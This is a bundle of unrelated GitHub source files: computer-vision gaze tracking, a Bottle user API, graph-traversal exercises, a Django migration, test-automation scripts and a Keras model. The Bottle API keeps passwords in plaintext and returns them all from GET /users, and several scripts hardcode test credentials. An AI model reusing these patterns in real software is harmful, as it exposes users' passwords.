Returns\n -------\n None.\n\n \"\"\"\n if left == right and left != 0:\n text = ''\n if left == 1:\n print('Looking left')\n text = 'Looking left'\n elif left == 2:\n print('Looking right')\n text = 'Looking right'\n elif left == 3:\n print('Looking up')\n text = 'Looking up'\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(img, text, (30, 30), font,\n 1, (0, 255, 255), 2, cv2.LINE_AA)\n\n\ndef get_percentage(video, gaze):\n try:\n left_data_list = []\n right_data_list = []\n face_model = get_face_detector()\n landmark_model = get_landmark_model()\n left = [36, 37, 38, 39, 40, 41]\n right = [42, 43, 44, 45, 46, 47]\n\n cap = cv2.VideoCapture(video)\n kernel = np.ones((9, 9), np.uint8)\n\n while cap.isOpened():\n ret, img = cap.read()\n if ret:\n rects = find_faces(img, face_model)\n\n for rect in rects:\n try:\n shape = detect_marks(img, landmark_model, rect)\n except cv2.error:\n continue\n mask = np.zeros(img.shape[:2], dtype=np.uint8)\n mask, end_points_left = eye_on_mask(mask, left, shape)\n mask, end_points_right = eye_on_mask(mask, right, shape)\n mask = cv2.dilate(mask, kernel, 5)\n\n eyes = cv2.bitwise_and(img, img, mask=mask)\n mask = (eyes == [0, 0, 0]).all(axis=2)\n eyes[mask] = [255, 255, 255]\n mid = int((shape[42][0] + shape[39][0]) // 2)\n eyes_gray = cv2.cvtColor(eyes, cv2.COLOR_BGR2GRAY)\n threshold = 75 # cv2.getTrackbarPos('threshold', 'image')\n _, thresh = cv2.threshold(eyes_gray, threshold, 255, cv2.THRESH_BINARY)\n thresh = process_thresh(thresh)\n contouring(thresh[:, 0:mid], mid, img, end_points_left, False, right_data_list, left_data_list)\n contouring(thresh[:, mid:], mid, img, end_points_right, True, right_data_list, left_data_list)\n for (x, y) in shape[36:48]:\n cv2.circle(img, (x, y), 2, (255, 0, 0), -1)\n else:\n break\n cap.release()\n cv2.destroyAllWindows()\n try:\n if gaze == 'right':\n result = count_wrong_meassurements(right_data_list, True) / len(right_data_list)\n else:\n result = count_wrong_meassurements(left_data_list) / len(left_data_list)\n return 1 - result\n except ZeroDivisionError:\n return 0\n except cv2.error:\n logger.exception(\"Exception detecting eyes\")\n return 0 # If eyes are not detected, return 'undetected' result","repo_name":"LadyNightmare/Bachelors-Thesis","sub_path":"app/backend/src/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":6868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"11592344222","text":"import datetime\nimport json\nfrom bottle import request, response\nfrom bottle import post, get, put, delete\n\nUSERS = [\n {\n 'id':1,\n 'username':u'Dietcokke',\n 'Date Created':u'7/11/17',\n 'password':u'test123',\n 'online':True\n },\n {\n 'id':2,\n 'username':u'Drebunny',\n 'Date Created':u'7/11/17',\n 'password':u'test123',\n 'online':False\n }\n]\n\n@post('/users')\ndef creation_handler():\n #Handles name creation\n\n try:\n # parse input data\n try:\n data = request.json\n except:\n raise SyntaxError(\"Bad Json Format\")\n\n if data is None:\n raise ValueError(\"Data was nothing\")\n\n username = data['username']\n\n for user in USERS:\n if user['username'] == username:\n raise KeyError(\"Duplicate Username\")\n\n user = {\n 'username': data['username'],\n 'password': data['password'],\n 'id': USERS[-1]['id'] + 1,\n 'date-created': datetime.date.today().strftime(\"%m/%d/%y\"),\n 'online': False\n }\n\n except ValueError as ve:\n # if bad request data, return 400 Bad Request\n response.headers['Content-Type'] = 'application/json'\n response.status = 400\n return json.dumps({'error': ve.args[0]})\n \n except KeyError as ke:\n # if name already exists, return 409 Conflict\n response.headers['Content-Type'] = 'application/json'\n response.status = 409\n return json.dumps({'error': ke.args[0]})\n\n except SyntaxError as se:\n response.status = 400\n response.headers['Content-Type'] = 'application/json'\n return json.dumps({'error': se.args[0]})\n\n # add name\n USERS.append(user)\n \n # return 200 Success\n response.headers['Content-Type'] = 'application/json'\n return json.dumps({'name': user})\n\n\n@get('/users')\ndef get_users():\n response.status = 200\n response.headers['Content-Type'] = 'appication/JSON'\n return json.dumps({'users': USERS})\n\n@put('/users/')\ndef update_user(username):\n try:\n userToEdit = None\n \n for user in USERS:\n #this for needs to be replaced with something more performant. An O(n) is a little slow here\n if user['username'] == username:\n originalUser = user\n userToEdit = user\n break\n\n if userToEdit is None:\n raise ValueError(\"User could not be found.\")\n\n try:\n data = request.json\n except:\n raise SyntaxError(\"Invalid Json Format / No Json to Parse.\")\n\n if data is None:\n raise ValueError(\"No data to use.\")\n \n if 'username' in data:\n userToEdit['username'] = data['username']\n\n if 'password' in data:\n userToEdit['password'] = data['password']\n\n except ValueError as ve:\n response.status = 400\n response.headers['Content-Type'] = 'application/json'\n return json.dumps({'error': ve.args[0]})\n\n except SyntaxError as se:\n response.status = 400\n response.headers['Content-Type'] = 'application/json'\n return json.dumps({'error': se.args[0]})\n\n USERS.remove(originalUser)\n USERS.append(userToEdit)\n\n response.status = 200\n response.headers['Content-Type'] = 'application/json'\n return json.dumps({'user': userToEdit})\n\n@delete('/users/')\ndef delete_user(username):\n for user in USERS:\n if user['username'] == username:\n USERS.remove(user)\n response.status = 200\n response.headers['Content-Type'] = 'appication/JSON'\n return\n \n response.status = 404\n response.headers['Content-Type'] = 'appication/JSON'\n return json.dumps({'error': \"User not found\"})","repo_name":"leethemann/ProjectDreadServer","sub_path":"api_users.py","file_name":"api_users.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"4268410261","text":"graph = [[0], [2, 5, 9], [1, 3], [2, 4], [3], [1, 6, 8], [5, 7], [6], [5], [10], [9]]\nvisited = [0] * (10 + 1)\n\nroot = 1\n\n\ndef dfs_stack():\n stack = [root]\n while stack:\n n = stack.pop()\n print(n, end=\" \")\n for i in graph[n]:\n if not visited[i]:\n stack.append(i)\n visited[i] = 1\n\n\ndfs_stack()\nprint()\n\ngraph = [[0], [2, 5, 9], [1, 3], [2, 4], [3], [1, 6, 8], [5, 7], [6], [5], [10], [9]]\nvisited = [0] * (10 + 1)\n\nroot = 1\n\n\ndef dfs_recur(n):\n visited[n] = 1\n print(n, end=\" \")\n for i in graph[n]:\n if not visited[i]:\n dfs_recur(i)\n\n\ndfs_recur(root)\nprint()\n\n# 순서가 다르게 순회되어서 결과값은 다르지만 둘다 dfs 라는 점!\nfrom collections import deque\n\ngraph = [[0], [2, 5, 9], [1, 3], [2, 4], [3], [1, 6, 8], [5, 7], [6], [5], [10], [9]]\nvisited = [0] * (10 + 1)\n\nroot = 1\n\n\ndef bfs():\n q = deque()\n q.append(root)\n while q:\n n = q.popleft()\n print(n, end=\" \")\n\n visited[n] = 1\n for i in graph[n]:\n if not visited[i]:\n q.append(i)\n\n\nbfs()\n","repo_name":"Koeunseooooo/Algorithm","sub_path":"백준/알고리즘다지기/dfsAndBfs.py","file_name":"dfsAndBfs.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"20337246386","text":"import django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0014_auto_20220619_0535'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='currency',\n name='currency',\n field=models.PositiveSmallIntegerField(choices=[(1, 'USD'), (2, 'EUR'), (3, 'JPY'), (4, 'GBP'), (5, 'AUD'), (6, 'CAD'), (7, 'CHF'), (8, 'CNY'), (9, 'HKD'), (10, 'NZD'), (11, 'SEK'), (12, 'KRW'), (13, 'SGD'), (14, 'NOK'), (15, 'MXN'), (16, 'BYN'), (17, 'RUB'), (18, 'ZAR'), (19, 'TRY'), (20, 'BRL'), (21, 'CLP'), (22, 'CZK'), (23, 'DKK'), (24, 'HRK'), (25, 'HUF'), (26, 'INR'), (27, 'ISK'), (28, 'PLN'), (29, 'RON'), (30, 'ARS'), (31, 'VES'), (32, 'COP'), (33, 'PEN'), (34, 'UYU'), (35, 'PYG'), (36, 'BOB'), (37, 'IDR'), (38, 'ANG'), (39, 'CRC'), (40, 'CUP'), (41, 'DOP'), (42, 'GHS'), (43, 'GTQ'), (44, 'ILS'), (45, 'JMD'), (46, 'KES'), (47, 'KZT'), (48, 'MYR'), (49, 'NAD'), (50, 'NGN'), (51, 'AZN'), (52, 'PAB'), (53, 'PHP'), (54, 'PKR'), (55, 'QAR'), (56, 'SAR'), (57, 'THB'), (58, 'TTD'), (59, 'VND'), (60, 'XOF'), (61, 'TWD'), (62, 'TZS'), (63, 'XAF'), (64, 'UAH'), (65, 'EGP'), (66, 'LKR'), (67, 'MAD'), (68, 'AED'), (69, 'TND'), (300, 'XAU'), (1000, 'BTC')], unique=True),\n ),\n migrations.AlterField(\n model_name='onchainpayment',\n name='num_satoshis',\n field=models.PositiveBigIntegerField(null=True, validators=[django.core.validators.MinValueValidator(10000.0), django.core.validators.MaxValueValidator(3300000.0)]),\n ),\n migrations.AlterField(\n model_name='onchainpayment',\n name='sent_satoshis',\n field=models.PositiveBigIntegerField(null=True, validators=[django.core.validators.MinValueValidator(10000.0), django.core.validators.MaxValueValidator(3300000.0)]),\n ),\n migrations.AlterField(\n model_name='onchainpayment',\n name='swap_fee_rate',\n field=models.DecimalField(decimal_places=2, default=1.4000000000000001, max_digits=4),\n ),\n ]\n","repo_name":"RoboSats/robosats","sub_path":"api/migrations/0015_auto_20220702_1500.py","file_name":"0015_auto_20220702_1500.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":529,"dataset":"github-code","pt":"63"} +{"seq_id":"31279087620","text":"import sys\nsys.stdin = open(\"./Algorithm_Study/BOJ/BOJ11723\", \"r\")\n\nM = int(sys.stdin.readline())\nempty = [0] * 21\nall = [1] * 21\ntmp =[0] * 21\nfor _ in range(M) :\n S = sys.stdin.readline().strip()\n if S == 'all' :\n tmp = all\n continue\n if S == 'empty' :\n tmp = empty\n continue\n S, x = S.split()\n x = int(x)\n if S == 'add' :\n tmp[x] = 1\n continue\n if S == 'remove' :\n tmp[x] = 0\n continue\n if S == 'check' :\n if tmp[x] == 1:\n print(1)\n continue\n print(0)\n continue\n if S == 'toggle' :\n if tmp[x] == 1:\n tmp[x] = 0\n else :\n tmp[x] = 1\n continue\n \n ","repo_name":"BenchleyKim/Study","sub_path":"Algorithm_Study/2020WINTER/BOJ/BOJ11723.py","file_name":"BOJ11723.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"24369480907","text":"# 5639\n\n'''\n내 예상 풀이\n1. 전위순회로 탐색한 순서대로 노드를 입력받는다.\n2. 노드를 이용해 이진검색트리를 구축한다.\n3. 이진검색트리를 후위순회한 순서대로 출력한다.\n'''\n\nimport sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10000) # 노드는 최대 10000개.\nclass Node:\n def __init__(self,data):\n self.data = data\n self.left = None\n self.right = None\n\nvertex = []\n\n# 입력이 끝날 때까지 노드를 입력 받아 vertex에 append\nwhile(1):\n try:\n v = int(input())\n vertex.append(v)\n except:\n break\n \n# 이진 검색 트리 구축 및 후위순회 메소드 내장 클래스\nclass BinarySearchTree(object):\n def __init__(self): # 생성자 : 트리 초기화\n self.root = None\n \n # 이진 검색 트리에 노드 삽입\n def insert(self,data):\n self.root = self._insert_value(self.root, data)\n return self.root is not None\n \n # 삽입될 노드의 값을 기존의 노드 값과 비교하여 삽입될 위치를 특정\n def _insert_value(self,node,data):\n if node is None:\n node = Node(data)\n else:\n if data <= node.data:\n node.left = self._insert_value(node.left, data)\n else:\n node.right = self._insert_value(node.right, data)\n return node\n\n # 구축한 이진검색트리를 후위순위로 출력하기 위한 메소드\n def postorder(self):\n def _postorder(node):\n if node.left:\n _postorder(node.left)\n if node.right:\n _postorder(node.right)\n print(node.data)\n\n _postorder(self.root)\n\nif __name__ == \"__main__\":\n bst = BinarySearchTree()\n for v in vertex:\n bst.insert(v)\n \n bst.postorder()\n\n \n\n","repo_name":"ymg5218/CodingTest_Python","sub_path":"백준_골드/이진 검색 트리.py","file_name":"이진 검색 트리.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"36388061967","text":"import pandas as pd\nimport numpy as np\nimport os\n\nchromosome = int(os.environ['chr'])\nbeta = [-0.2,0.25]\nc1 = 0.05\nc2 = 5\n\nPAIR_DIR = '/scratch1/battle-fs1/heyuan/Predict_target_gene/GTEx/for_Glasso/'\n\ngenes_chr = pd.read_csv(os.path.join(PAIR_DIR, 'GTEx_chr%i_pairs_activeSNP_genes_corrected.txt' % chromosome), sep='\\t', index_col=0)\nsnps_chr = pd.read_csv(os.path.join(PAIR_DIR, 'GTEx_chr%i_pairs_activeSNP_genotypes.txt' % chromosome), sep='\\t', index_col=0)\n\nf = 'DISTANCE'\nDIS = pd.read_csv(os.path.join(PAIR_DIR, 'GTEx_chr%i_pairs_activeSNP_Feature_%s.txt' % (chromosome, f)), sep='\\t', index_col=0)\n\nf = 'contacting_value'\ncontacting = pd.read_csv(os.path.join(PAIR_DIR, 'GTEx_chr%i_pairs_activeSNP_Feature_%s.txt' % (chromosome, f)), sep='\\t', index_col=0)\n\n\n\n### pick a random set of SNPs and Genes\n\nSNPs = np.random.choice(list(snps_chr.index), size = len(snps_chr), replace=False)\nGenes = np.random.choice(list(genes_chr.index), size = len(genes_chr), replace=False)\n\n\n### get the X and F matrices\n\nchromosome = int(os.environ['chr_out'])\nX = snps_chr.loc[SNPs]\nX.to_csv(os.path.join(PAIR_DIR, 'GTEx_chr%i_pairs_activeSNP_genotypes.txt' % chromosome), sep='\\t')\n\nF1 = DIS.loc[Genes][SNPs]\nf = 'DISTANCE'\nF1.to_csv(os.path.join(PAIR_DIR, 'GTEx_chr%i_pairs_activeSNP_Feature_%s.txt' % (chromosome, f)), sep='\\t')\n\nF2 = contacting.loc[Genes][SNPs]\nf = 'contacting_value'\nF2.to_csv(os.path.join(PAIR_DIR, 'GTEx_chr%i_pairs_activeSNP_Feature_%s.txt' % (chromosome, f)), sep='\\t')\n\n","repo_name":"heyuan7676/Prior_info_LR","sub_path":"simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"38307627137","text":"from string import ascii_uppercase\n\ndef diffrences(w1,w2):\n for l in range(len(w1)):\n if w1[l] != w2[l]:\n yield l\n\ndef one_diffrent(w1,w2):\n return len(list(diffrences(w1,w2))) == 1\n\nclass WordChain:\n def __init__(self,w1,w2):\n self.w1,self.w2 = w1,w2\n\n def __hash__(self):\n index = list(diffrences(self.w1,self.w2))[0]\n if ascii_uppercase.index(self.w1[index])>ascii_uppercase.index(self.w2[index]):\n return hash((self.w2,self.w1))\n else:\n return hash((self.w1,self.w2))\n\n def __repr__(self):\n return self.w1 + ' '+self.w2\n\n def __eq__(self, other):\n return self.w1 == other or self.w2 == other\n\n def other(self,word):\n if self.w1 == word:\n return self.w2\n else:\n return self.w1\n\ndef alphabet(words):\n return sorted(words)[0]\n\nif __name__ == '__main__':\n connects = set()\n words = input('Input: ').split(' ')\n counts = [0 for _ in range(len(words))]\n for w, w1 in enumerate(words):\n for w2 in words[w+1:]:\n if one_diffrent(w1,w2):\n connects.add(WordChain(w1,w2))\n for w, w1 in enumerate(words):\n for connection in connects:\n if w1 == connection:\n counts[w]+=1\n key_words = [word for w,word in enumerate(words) if counts[w] == min(counts)]\n chains = [[alphabet(key_words)]]\n while len(chains[0]) < len(words):\n chains_copy = chains.copy()\n chains.clear()\n for chain in chains_copy:\n word = chain[-1]\n w = words.index(word)\n for connection in connects:\n if word == connection and connection.other(word) not in chain:\n chains.append([*chain,connection.other(word)])\n print(chains)\n print(' '.join(chains[0]))\n'''\nWALL TAIL TALL WALK BALL WAIL TALK\n'''\n\n\n'''\nSolution Explanation:\n we first find all the links between all the words\n {\n for w, w1 in enumerate(words):\n for w2 in words[w+1:]:\n if one_diffrent(w1,w2):\n connects.add(WordChain(w1,w2))\n }\n by using the one_diffrent function to see if they are linkable\n \n then we find the amount of links a word has\n {\n for w, w1 in enumerate(words):\n for connection in connects:\n if w1 == connection:\n counts[w]+=1\n } \n \n we then find the start of the change, this is the one with the fewest links\n this is because it is in the start of the chain\n {\n key_words = [word for w,word in enumerate(words) if counts[w] == min(counts)]\n }\n I use an for generator with checking if a word has the minimum score, as the start \n of the chain and the end have the same amount of links\n \n The chain starts with the word that is in the begining of the alphabet\n {\n chains = [[alphabet(key_words)]]\n }\n \n I then processed to find every link possible with a stack method approciate\n I then assume the one at index 0 is the correct solution\n'''","repo_name":"TheKillerAboy/programming-olympiad","sub_path":"Python_Solutions/SAPO/School_Round_2016/Round_2/Problem_3_Word_Chain_Solution_1.py","file_name":"Problem_3_Word_Chain_Solution_1.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"44196123294","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 23 10:26:01 2019\n\n@author: MLG1KOR\n\"\"\"\nimport xlrd\nimport json\nfrom recurse_tl_v3 import gm_get_nodes\nfrom requests import session\nfrom bs4 import BeautifulSoup\nimport xlsxwriter\n\nresult_file_path = r'C:\\Users\\mlg1kor\\Downloads\\resultsTCFlat_DEP-IN_eScooter4KW_AR4.2_FunctionalSafety_Step2_Testing_Cycle7(5).xls'\ntesting_cycle_name = 'eScooter4KW_AR4.2_FunctionalSafety_Step2_Testing_Cycle7'\noutput_file = 'req_Remarks_testStatus.xlsx'\n\nbook = xlrd.open_workbook(result_file_path)\nsheet = book.sheet_by_index(0)\nwith open('tl_login_info.json','r+') as fjson:\n lg_info = json.load(fjson)\nnodeid = '19272'\nnodename = 'hw_sw_adc'\npayload={\"tl_login\":lg_info['username'],\n \"tl_password\":lg_info['password'],\n \"CSRFName\":\"CSRFGuard_2113925045\",\n \"CSRFToken\":\"d661b4dfa16c21a9b594d95cce0d4e6d52ab254ec490afd357332093b6858d7c38f405c8803e263a23033fc2fa8519dbeb7b5838bfd9e05dffb5ab2c3dd1bacb\",\n \"action\":\"login.php?viewer=\" }\n\nclass testcase():\n db = []\n skip_db = []\n def __init__(self,tc,result):\n self.name = tc.name\n self.node_id = tc.node_id\n self.result = result\n self.internal_id = tc.internal_id\n self.link = 'http://10.58.199.163:8025/testlink-1.9.16/lib/testcases/archiveData.php?edit=testcase&id='+self.node_id\n self.set_custom_fields()\n \n def set_custom_fields(self):\n try:\n tc = c.get(self.link)\n soup = BeautifulSoup(tc.content)\n cfields = soup.select('#cfields_design_time')\n c_rows = cfields[0].table.find_all('tr')\n self.external_id = c_rows[0].find_all('td')[1].text\n rid = str(c_rows[1].find_all('td')[1].text)\n self.rid = []\n if ',' in rid:\n rid = rid.split(',')\n for raw_id in rid:\n raw_id = raw_id.strip()\n if raw_id!='':\n self.rid.append(raw_id)\n elif '\\n' in rid:\n rid = rid.split('\\n')\n for raw_id in rid:\n raw_id = raw_id.strip()\n if raw_id!='':\n self.rid.append(raw_id)\n else:\n self.rid = [rid]\n testcase.db.append(self)\n print(self)\n except:\n testcase.skip_db.append(self)\n print(f'skipped {self.node_id}')\n \n def __repr__(self):\n return f'id:{self.internal_id},req:{self.rid},stat:{self.result}'\n \nclass req():\n db = {}\n def __init__(self,tc,rid):\n if rid not in req.db:\n self.id = rid\n if tc.result=='Failed':\n self.stat = False\n self.remarks = testing_cycle_name+'\\n'+tc.link\n else:\n self.stat = True\n self.remarks = testing_cycle_name\n req.db.update({self.id:self})\n else:\n if tc.result=='Failed':\n req.db[rid].stat = not req.db[rid].stat\n req.db[rid].remarks = req.db[rid].remarks+'\\n'+tc.link\n \n @classmethod\n def dxl_prepare(cls):\n with open('U:\\\\req.txt','w') as freq:\n with open('U:\\\\result.txt','w') as fres:\n with open('U:\\\\remarks.txt','w') as frem:\n for item in cls.db.values():\n freq.write(item.id+'\\n')\n result = 'Passed' if item.stat else 'Failed'\n fres.write(result+'\\n')\n frem.write(item.remarks+'\\n')\n frem.write('-----')\n \n @classmethod\n def write_results_to_excel(cls):\n global output_file\n book = xlsxwriter.Workbook(output_file)\n sheet=book.add_worksheet()\n sheet.write(0,0,'requirementID')\n sheet.write(0,1,'Remarks')\n sheet.write(0,2,'Test Status')\n for rno,item in enumerate(cls.db.values(),start=1):\n sheet.write(rno,0,item.id)\n sheet.write(rno,1,item.remarks)\n result = 'Passed' if item.stat else 'Failed'\n sheet.write(rno,2,result)\n \n def __repr__(self):\n return f'id:{self.id},stat={self.stat}\\n remarks:\\n{self.remarks}'\n\nif 'node_list' not in globals():\n nodes = gm_get_nodes(lg_info['username'],lg_info['password'],nodeid,nodename)\n node_list = [value for key,value in nodes.items()]\nwith session() as c:\n c.post(\"http://10.58.199.163:8025/testlink-1.9.16/login.php\",data=payload)\n len_skip_db = len(testcase.db)\n if len_skip_db==0:\n for i in range(5,sheet.nrows):\n internal_id = sheet.cell(i,1).value\n internal_id = internal_id[:internal_id.find(':')]\n stat = sheet.cell(i,6).value\n for index,item in enumerate(node_list):\n if item.internal_id==internal_id:\n testcase(node_list.pop(index),stat)\n break\n else:\n skip_list = testcase.skip_db\n testcase.skip_db = []\n while len(skip_list)>0:\n testcase(skip_list[0],skip_list[0].result)\n del skip_list[0]\n if len(testcase.skip_db)==0:\n for tcase in testcase.db:\n for rq in tcase.rid:\n req(tcase,rq)\n req.write_results_to_excel()\n req.dxl_prepare()\n else:\n print('some testcases are skipped run again?')","repo_name":"govind-a-m/TestLink","sub_path":"test_execution.py","file_name":"test_execution.py","file_ext":"py","file_size_in_byte":4790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"11719774896","text":"import time\nimport webbrowser\n\nbreaks = 0\n\nprint(\"This progra started on \" + time.ctime())\nwhile(breaks < 3):\n time.sleep(10)\n webbrowser.open(\"https://www.youtube.com/watch?v=Ez1aQPhDuGg\")\n breaks += 1\n","repo_name":"jovanikimble/Udacity-Nanodegree","sub_path":"1project_movietrailer/practice/break_time.py","file_name":"break_time.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"22502163765","text":"import time\nimport traceback\n\nfrom selenium.common.exceptions import ElementNotInteractableException\n\nfrom custom import basic_custom_actions\nfrom test_framework.web_admin_core.pages.general.common.common_page import CommonPage\nfrom test_framework.web_admin_core.pages.login.login_page import LoginPage\nfrom test_framework.web_admin_core.pages.root.side_menu import SideMenu\nfrom test_framework.web_admin_core.pages.users.users.users_page import UsersPage\nfrom test_framework.web_admin_core.pages.users.users.users_permissions_sub_wizard import UsersPermissionsSubWizard\nfrom test_framework.web_admin_core.pages.users.users.users_wizard import UsersWizard\nfrom test_framework.web_admin_core.utils.web_driver_container import WebDriverContainer\nfrom test_cases.web_admin.web_admin_test_cases.common_test_case import CommonTestCase\n\n\nclass QAP_T3650(CommonTestCase):\n\n def __init__(self, web_driver_container: WebDriverContainer, second_lvl_id):\n super().__init__(web_driver_container, self.__class__.__name__, second_lvl_id)\n self.login = \"adm02\"\n self.password = \"adm02\"\n self.venue = \"KSE\"\n self.user_id = \"adm05\"\n self.perm_role = \"Permissions for Head of Location role\"\n\n def precondition(self):\n login_page = LoginPage(self.web_driver_container)\n login_page.login_to_web_admin(self.login, self.password)\n side_menu = SideMenu(self.web_driver_container)\n time.sleep(2)\n side_menu.open_users_page()\n users_page = UsersPage(self.web_driver_container)\n users_wizard = UsersWizard(self.web_driver_container)\n time.sleep(2)\n users_page.set_user_id(self.user_id)\n time.sleep(2)\n users_page.click_on_more_actions()\n time.sleep(2)\n users_page.click_on_edit_at_more_actions()\n role_sub_wizard = UsersPermissionsSubWizard(self.web_driver_container)\n time.sleep(1)\n role_sub_wizard.set_perm_role(self.perm_role)\n time.sleep(2)\n users_wizard.click_on_save_changes()\n time.sleep(2)\n common_page = CommonPage(self.web_driver_container)\n common_page.click_on_user_icon()\n time.sleep(2)\n common_page.click_on_logout()\n time.sleep(2)\n login_page.login_to_web_admin(\"adm05\", \"adm05\")\n\n def test_context(self):\n try:\n self.precondition()\n side_menu = SideMenu(self.web_driver_container)\n try:\n side_menu.open_institutions_page()\n self.verify(\"Institution page MUST NOT displayed\", False, True)\n except ElementNotInteractableException:\n self.verify(\"Institution page in not displayed\", True, True)\n try:\n side_menu.open_zones_page()\n self.verify(\"Zones page MUST NOT displayed\", False, True)\n except ElementNotInteractableException:\n self.verify(\"Zones page in not displayed\", True, True)\n try:\n side_menu.open_locations_page()\n self.verify(\"Location page displayed\", True, True)\n side_menu.open_desks_page()\n self.verify(\"Desks page MUST NOT displayed\", False, True)\n except ElementNotInteractableException:\n self.verify(\"Desks page in not displayed\", True, True)\n\n\n\n\n\n\n except Exception:\n basic_custom_actions.create_event(\"TEST FAILED before or after verifier\", self.test_case_id,\n status='FAILED')\n print(traceback.format_exc() + \" Search in -> \" + self.__class__.__name__)\n","repo_name":"YevhenMoroz/th2-script-quod-demo","sub_path":"test_cases/web_admin/retail_web_admin_test_cases/site/QAP_T3650.py","file_name":"QAP_T3650.py","file_ext":"py","file_size_in_byte":3623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"20419587130","text":"import numpy as np\nimport pandas as pd\n\nfrom colorama import Fore, Style\nfrom typing import Tuple\n\nfrom tensorflow import keras\nfrom keras import Model, Sequential\nfrom keras.callbacks import EarlyStopping, ReduceLROnPlateau\nfrom keras.layers import Dense, BatchNormalization, Dropout\nfrom src.ml_logic.registry import load_model\n\nfrom src.params import *\n\n\n# Initialize model\ndef initialize_model(input_shape: tuple):\n \"\"\"\n Initialize an improved Neural Network model.\n\n Args:\n input_shape (tuple): The shape of the input data.\n\n Returns:\n Model: Initialized neural network model.\n \"\"\"\n\n model = Sequential()\n\n # Input layer\n model.add(Dense(256, activation=\"relu\", input_shape=input_shape))\n model.add(BatchNormalization(momentum=0.9))\n\n # Hidden layers\n model.add(Dense(128, activation=\"relu\"))\n model.add(Dropout(0.2)) # Dropout regularization\n\n # Add more hidden layers as needed\n model.add(Dense(64, activation=\"relu\"))\n model.add(BatchNormalization(momentum=0.9))\n model.add(Dense(32, activation=\"relu\"))\n model.add(Dropout(0.2))\n\n # Output layer\n model.add(Dense(1, activation=\"linear\"))\n\n print(\"✅ Model initialized\")\n\n return model\n\n\n\n# Compile model\ndef compile_model(model: Model, learning_rate: int) -> Model:\n \"\"\"\n Compile the Neural Network.\n\n Args:\n model (Model): The neural network model to be compiled.\n learning_rate (float): The learning rate for optimization.\n\n Returns:\n Model: Compiled neural network model.\n \"\"\"\n\n optimizer = keras.optimizers.Adam(learning_rate)\n model.compile(loss=\"mean_squared_error\", optimizer=optimizer, metrics=[\"mae\"])\n\n\n print(\"✅ Model compiled\")\n\n return model\n\n\n# Train the model\ndef train_model(model: Model, \n X: np.ndarray, \n y: np.ndarray, \n batch_size: int,\n validation_data: Tuple[np.ndarray, np.ndarray] = None) -> Tuple[Model, dict]:\n \n \"\"\"\n Fit the model and return a tuple (fitted_model, history).\n\n Args:\n model (Model): The neural network model to be trained.\n X (np.ndarray): The input features for training.\n y (np.ndarray): The target values for training.\n batch_size (int): Batch size for training.\n validation_data (Tuple[np.ndarray, np.ndarray]): Validation data as a tuple (X_val, y_val).\n\n Returns:\n Tuple[Model, dict]: A tuple containing the trained model and training history.\n \"\"\"\n\n callbacks = [EarlyStopping(monitor=\"val_loss\", \n patience=5, \n restore_best_weights=True, \n verbose=0),\n\n ReduceLROnPlateau(factor=0.2, \n patience=2, \n monitor='val_loss')]\n\n history = model.fit(X,\n y,\n validation_data=validation_data,\n epochs=100,\n batch_size=batch_size,\n callbacks=callbacks,\n verbose=0)\n\n print(f\"✅ Model trained on {len(X)} rows with min val MAE: {round(np.min(history.history['val_mae']), 2)}\")\n\n\n return model, history\n\n\n\n# Evaluate model\ndef evaluate_model(model: Model, \n X: np.ndarray, \n y: np.ndarray) -> Tuple[Model, dict]:\n \"\"\"\n Evaluate trained model performance on dataset\n\n Args:\n model (Model): The trained machine learning model to evaluate.\n X (np.ndarray): Feature dataset.\n y (np.ndarray): Target dataset.\n\n Returns:\n Tuple[Model, dict]: A tuple containing the trained model and a dictionary of evaluation metrics.\n \"\"\"\n\n\n # Print a message to indicate that the evaluation is starting.\n print(Fore.BLUE + f\"\\nEvaluate model on {len(X)} rows...\" + Style.RESET_ALL)\n\n # Check if the provided model is not None.\n if model is None:\n print(f\"\\n❌ no model to evaluate\")\n return None\n\n # Call the evaluate method on the model, passing the feature dataset and target dataset.\n metrics = model.evaluate(x=X, y=y, verbose=0)\n\n # Extract the loss and MAE from the evaluation metrics.\n # loss = metrics[0]\n mae = metrics[1]\n\n # Print the evaluated metrics, including the loss and MAE rounded to two decimal places.\n # print(f\"✅ Model evaluated on the test set: loss {round(loss, 2)}\")\n print(f\"✅ Model evaluated on the test set: MAE {round(mae, 2)}\")\n\n\n # Return a dictionary containing the evaluation metrics.\n return metrics\n","repo_name":"benitomartin/mlops-chicago-rides","sub_path":"src/ml_logic/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"25549185793","text":"import json\nimport os\nimport subprocess\n\nfrom jirafs.plugin import CommandPlugin, CommandResult\n\n\nclass Command(CommandPlugin):\n \"\"\"Check whether a given dotpath matches an expected 